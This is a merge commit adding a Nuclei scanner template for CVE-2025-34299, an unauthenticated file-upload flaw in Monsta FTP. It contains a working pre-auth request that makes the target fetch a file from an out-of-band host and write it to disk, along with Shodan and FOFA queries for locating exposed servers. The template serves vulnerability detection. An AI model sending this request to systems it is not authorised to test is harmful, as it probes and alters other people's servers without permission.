Merge pull request #14331 from KrE80r/CVE-2025-34299-oast

Add CVE-2025-34299 Monsta FTP Pre-Auth RCE template

Author: theamanrawat

http/cves/2025/CVE-2025-34299.yaml

@@ -0,0 +1,82 @@
+id: CVE-2025-34299
+
+info:
+  name: Monsta FTP <= 2.11.2 - Unauthenticated Remote Code Execution
+  author: KrE80r
+  severity: critical
+  description: |
+    Monsta FTP = 2.11 contains an unrestricted file upload vulnerability caused by lack of authentication on file uploads, letting unauthenticated attackers execute arbitrary code by uploading crafted files.
+  impact: |
+    Unauthenticated attackers can upload malicious files to execute arbitrary code, potentially compromising the server.
+  remediation: |
+    Update to the latest version beyond 2.11.
+  reference:
+    - https://labs.watchtowr.com/whats-that-coming-over-the-hill-monsta-ftp-remote-code-execution-cve-2025-34299/
+    - https://github.com/advisories/GHSA-42m5-3r2p-wr92
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-34299
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-34299
+    cwe-id: CWE-434
+  metadata:
+    verified: true
+    max-request: 2
+    vendor: monstaftp
+    product: monsta_ftp
+    shodan-query: http.title:"Monsta FTP"
+    fofa-query: title="Monsta FTP"
+  tags: cve,cve2025,monsta,ftp,rce,unauth,file-upload,intrusive,oast,oob,kev,vkev
+
+flow: http(1) && http(2)
+
+http:
+  - method: GET
+    path:
+      - "{{BaseURL}}/mftp/"
+      - "{{BaseURL}}/"
+
+    stop-at-first-match: true
+
+    host-redirects: true
+    max-redirects: 2
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "MonstaFTP")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: version
+        group: 1
+        regex:
+          - 'monsta-min-([0-9.]+)\.js'
+        internal: true
+
+  - raw:
+      - |
+        POST {{BaseURL}}/mftp/application/api/api.php HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        request={"connectionType":"ftp","configuration":{"host":"{{interactsh-url}}","username":"nuclei-oast","initialDirectory":"/","password":"test","port":21},"actionName":"downloadFile","context":{"remotePath":"/test.txt","localPath":"/tmp/nuclei-oast-test.txt"}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: interactsh_protocol
+        words:
+          - "dns"
+
+      - type: dsl
+        dsl:
+          - 'compare_versions(version, "<= 2.11.2")'
+
+    extractors:
+      - type: kval
+        kval:
+          - version